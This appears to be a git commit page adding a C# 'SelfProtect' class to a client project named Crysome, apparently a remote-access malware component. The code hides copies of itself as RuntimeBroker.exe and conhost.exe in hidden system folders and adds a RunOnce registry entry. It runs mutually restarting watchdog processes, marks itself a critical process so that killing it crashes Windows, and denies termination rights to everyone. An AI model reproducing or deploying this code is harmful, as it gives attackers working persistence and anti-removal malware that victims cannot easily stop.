initial commit
This commit is contained in:
@@ -0,0 +1,444 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class SelfProtect
|
||||
{
|
||||
private static FileStream _fileLock;
|
||||
|
||||
private static Thread _watchThread;
|
||||
|
||||
private static volatile int _watcherPid = -1;
|
||||
|
||||
private static string _primaryExeName = "RuntimeBroker.exe";
|
||||
|
||||
private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows");
|
||||
|
||||
private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR");
|
||||
|
||||
internal static string PrimaryExe
|
||||
{
|
||||
get
|
||||
{
|
||||
return Path.Combine(PrimaryDir, _primaryExeName);
|
||||
}
|
||||
set
|
||||
{
|
||||
_primaryExeName = Path.GetFileName(value);
|
||||
}
|
||||
}
|
||||
|
||||
internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe");
|
||||
|
||||
public static void RunAsWatcher(int mainPid)
|
||||
{
|
||||
try
|
||||
{
|
||||
LockOwnFile();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
HidePath(GetCurrentExe());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(2500);
|
||||
bool flag = false;
|
||||
try
|
||||
{
|
||||
flag = !Process.GetProcessById(mainPid).HasExited;
|
||||
}
|
||||
catch
|
||||
{
|
||||
flag = false;
|
||||
}
|
||||
if (!flag)
|
||||
{
|
||||
Thread.Sleep(800);
|
||||
try
|
||||
{
|
||||
RestartFromBestCopy();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
EnsureBackups();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static bool NeedsRelocation()
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string currentExe = GetCurrentExe();
|
||||
if (string.IsNullOrEmpty(currentExe))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool RelocateAndRelaunch(string[] currentArgs)
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
string currentExe = GetCurrentExe();
|
||||
if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
byte[] bytes = File.ReadAllBytes(currentExe);
|
||||
try
|
||||
{
|
||||
Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe));
|
||||
foreach (Process process in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
Directory.CreateDirectory(PrimaryDir);
|
||||
string primaryExe = PrimaryExe;
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(primaryExe, bytes);
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe");
|
||||
primaryExe = PrimaryExe;
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(primaryExe, bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
HidePath(primaryExe);
|
||||
Directory.CreateDirectory(BackupDir);
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(BackupExe, bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
HidePath(BackupExe);
|
||||
string text = "";
|
||||
if (currentArgs != null)
|
||||
{
|
||||
foreach (string text2 in currentArgs)
|
||||
{
|
||||
if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
text = text + " " + text2;
|
||||
}
|
||||
}
|
||||
}
|
||||
Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim())
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("SelfProtect relocate: " + ex2.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static void Start()
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg");
|
||||
_watchThread = new Thread(MonitorWatcher)
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
_watchThread.Start();
|
||||
return;
|
||||
}
|
||||
LockOwnFile();
|
||||
HidePath(GetCurrentExe());
|
||||
EnsureBackups();
|
||||
AddStartupRegistry();
|
||||
SpawnWatcher();
|
||||
_watchThread = new Thread(MonitorWatcher)
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
_watchThread.Start();
|
||||
Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)");
|
||||
}
|
||||
|
||||
private static void LockOwnFile()
|
||||
{
|
||||
try
|
||||
{
|
||||
string currentExe = GetCurrentExe();
|
||||
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null)
|
||||
{
|
||||
_fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void HidePath(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
if (File.Exists(path))
|
||||
{
|
||||
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
string directoryName = Path.GetDirectoryName(path);
|
||||
if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName))
|
||||
{
|
||||
new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void EnsureBackups()
|
||||
{
|
||||
string currentExe = GetCurrentExe();
|
||||
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe))
|
||||
{
|
||||
CopyIfMissing(currentExe, PrimaryDir, PrimaryExe);
|
||||
CopyIfMissing(currentExe, BackupDir, BackupExe);
|
||||
}
|
||||
}
|
||||
|
||||
private static void CopyIfMissing(string source, string dir, string dest)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!File.Exists(dest))
|
||||
{
|
||||
Directory.CreateDirectory(dir);
|
||||
File.Copy(source, dest, overwrite: true);
|
||||
HidePath(dest);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void AddStartupRegistry()
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe());
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true);
|
||||
registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void SpawnWatcher()
|
||||
{
|
||||
if (ClientConfiguration.IsHollowed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe);
|
||||
if (File.Exists(text))
|
||||
{
|
||||
Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id)
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
if (process != null)
|
||||
{
|
||||
_watcherPid = process.Id;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void MonitorWatcher()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetCriticalProcess();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
ProtectProcess();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(3000);
|
||||
if (_watcherPid <= 0)
|
||||
{
|
||||
SpawnWatcher();
|
||||
continue;
|
||||
}
|
||||
bool flag = false;
|
||||
try
|
||||
{
|
||||
flag = !Process.GetProcessById(_watcherPid).HasExited;
|
||||
}
|
||||
catch
|
||||
{
|
||||
flag = false;
|
||||
}
|
||||
if (!flag)
|
||||
{
|
||||
_watcherPid = -1;
|
||||
SpawnWatcher();
|
||||
}
|
||||
try
|
||||
{
|
||||
EnsureBackups();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb);
|
||||
|
||||
private static void SetCriticalProcess()
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.EnterDebugMode();
|
||||
bool pbOld = false;
|
||||
RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false);
|
||||
Program.Log("SelfProtect: Critical process set (BSOD on kill)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("SelfProtect: Failed to set critical process: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
|
||||
|
||||
private static void ProtectProcess()
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr handle = Process.GetCurrentProcess().Handle;
|
||||
IntPtr SecurityDescriptor = IntPtr.Zero;
|
||||
uint SecurityDescriptorSize = 0u;
|
||||
if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize))
|
||||
{
|
||||
SetKernelObjectSecurity(handle, 4, SecurityDescriptor);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void RestartFromBestCopy()
|
||||
{
|
||||
string text = null;
|
||||
if (File.Exists(PrimaryExe))
|
||||
{
|
||||
text = PrimaryExe;
|
||||
}
|
||||
else if (File.Exists(BackupExe))
|
||||
{
|
||||
text = BackupExe;
|
||||
}
|
||||
if (text != null)
|
||||
{
|
||||
Process.Start(new ProcessStartInfo(text)
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetCurrentExe()
|
||||
{
|
||||
return ClientConfiguration.GetProcessPath();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user